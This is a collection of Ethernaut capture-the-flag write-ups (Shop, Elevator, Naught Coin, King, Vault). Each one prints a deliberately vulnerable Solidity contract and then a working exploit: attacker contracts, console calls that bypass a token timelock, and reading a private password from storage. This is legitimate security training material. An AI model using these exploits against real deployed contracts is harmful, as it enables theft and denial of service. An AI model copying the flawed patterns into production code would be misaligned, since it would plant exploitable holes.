Ethernaut - 21. Shop

Difficulty: 🌕🌕🌑🌑🌑

Сan you get the item from the shop for less than the price asked?

Things that might help:

• Shop expects to be used from a Buyer
• Understanding restrictions of view functions

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

Writeup

This level is similar to 11-elevator. buy method calls _buyer.price() twice.
If _buyer.price() return value>=100 the first time it is called and return value<100 the second time, we can get the item from the shop for less than the price asked.

1. Get new instance.
2. Create a contract

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.0;
   
    import './21_Shop.sol';
   
    contract ShopAttacker {
        Shop shop;
   
        constructor(address _addr) public {
            shop = Shop(_addr);
        }
   
        function price() external view returns (uint) {
            return ( shop.isSold()==true ) ? 10 : 110;
        }
   
        function buybuy() public {
            shop.buy();
        }
    }
   

3. Check if success by calling method in the console.

   
    await contract.isSold()
    // true
    await contract.price().then( v=> v.toString())
    // 10
   
   

4. Submit instance ξ( ✿＞◡❛)

Ethernaut - 11. Elevator

Difficulty: 🌕🌕🌑🌑🌑

This elevator won’t let you reach the top of your building. Right?

Things that might help:

• Sometimes solidity is not good at keeping promises.
• This Elevator expects to be used from a Building.

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) { 
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

Writeup

1. Get new instance.
2. Call methods

    await contract.top()
    // false
    await contract.floor().then(v=>v.toString())
    // 0
   

3. Create a contract which implement isLastFloor.

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.0;
   
    import './11_Elevator.sol'; // level instance contract
   
    contract ElevatorAttack {
        bool result = true;
        function isLastFloor(uint) external returns (bool) {
            result = !result; 
            return(result); 
            // first time return false, second time return true 
        }
   
        function gogo(address _addr,uint _floor) public {
            Elevator elevator = Elevator(_addr);
            elevator.goTo(_floor);
        }
    }
   

4. Call gogo method
5. Call methods

    await contract.top()
    // true
    await contract.floor().then(v=>v.toString())
    // 10
   

6. Submit instance ξ( ✿＞◡❛)

Reference

• Solidity by example - Interface

Ethernaut - 15. Naught Coin

Difficulty: 🌕🌕🌕🌑🌑

NaughtCoin is an ERC20 token and you’re already holding all of them. The catch is that you’ll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.
Things that might help

• The ERC20 Spec
• The OpenZeppelin codebase

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

 contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = now + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0')
  public {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
} 

Writeup

What is ERC20 :

• EIP20
• Openzepplin - ERC20

Lack of implement crucial function ( approve() & transferfrom() ) make this contract vulnerable.

1. Call the method in console

   
    await contract.approve(player,toWei("1000000"))
   
   

2. Call the method in console

   
    await contract.transferFrom(player,'0x3aadd6ddcc24819bb05426ac8be5814e975e23da',toWei("1000000"))
    //                                             anaother account
   
   

3. Check by calling the method in console

   
    await contract.balanceOf(player).then(v=>v.toString())
    // '0'
    await contract.balanceOf('0x3aadd6ddcc24819bb05426ac8be5814e975e23da').then(v=>v.toString())
    // '1000000000000000000000000'
   
   

4. Submit instance ξ( ✿＞◡❛)

Ethernaut - 9. King

Difficulty: 🌕🌕🌕🌑🌑

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Such a fun game. Your goal is to break it.
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

Writeup

There is the warning from Solidity document :

When Ether is sent directly to a contract (without a function call, i.e. sender uses send or transfer) but the receiving contract does not define a receive Ether function or a payable fallback function, an exception will be thrown, sending back the Ether (this was different before Solidity v0.4.0). If you want your contract to receive Ether, you have to implement a receive Ether function (using payable fallback functions for receiving Ether is not recommended, since the fallback is invoked and would not fail for interface confusions on the part of the sender).

If king is a contract that can not receive Ether, king.transfer(msg.value) fails every time it is executed.

1. Get new instance.
2. Call the method

   
    await contract._king()
    // '0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5'
    // owner address is '0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5' too.
   
   

3. Create a contract without receive and fallback .

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.0;
   
    import './9_King.sol';
   
    contract KingAttacker {
        function attack(address payable _addr) public payable {
            King king = King(_addr);
   
            (bool sent, ) = address(king).call.value(msg.value)("");
            require(sent, "Failed to send value");
        }
    }
   

4. Compile & deploy.
5. Call attack method with the level instance address as the parameter _addr and value 1wei ( the same as state variable prize) .
6. Call the method

   
    await contract._king()
    // Your KingAttacker contract address
   
   

7. Submit instance ξ( ✿＞◡❛)

Reference

• Solidity by example - Sending Ether (transfer, send, call)
• Solidity by example - Call
• Receive Ether Function

Ethernaut - 8. Vault

Difficulty: 🌕🌕🌑🌑🌑

Unlock the vault to pass the level!

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

Writeup

How can we get private variable password ? Well, There is an important method everyone should know : web3.eth.getStorageAt(...), checkout web3.js document to get details.

State variables marked as private and local variables are still publicly accessible.

1. Get new Instance.
2. Call the method

   
    await contract.locked()
    // true
   
   

3. Call the method

   
    await web3.eth.getStorageAt('0x7B794D77e945A806b2c6Ca41cb4bB6977F37D340', 1);
    // '0x412076657279207374726f6e67207365637265742070617373776f7264203a29'
   
   

4. Call web3 method

   
    web3.utils.toAscii('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
    // 'A very strong secret password :)'
   
   

5. Call the method

   
    await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
   
   

6. Call the method

   
    await contract.locked()
    // false
   
   

7. Submit instance ξ( ✿＞◡❛)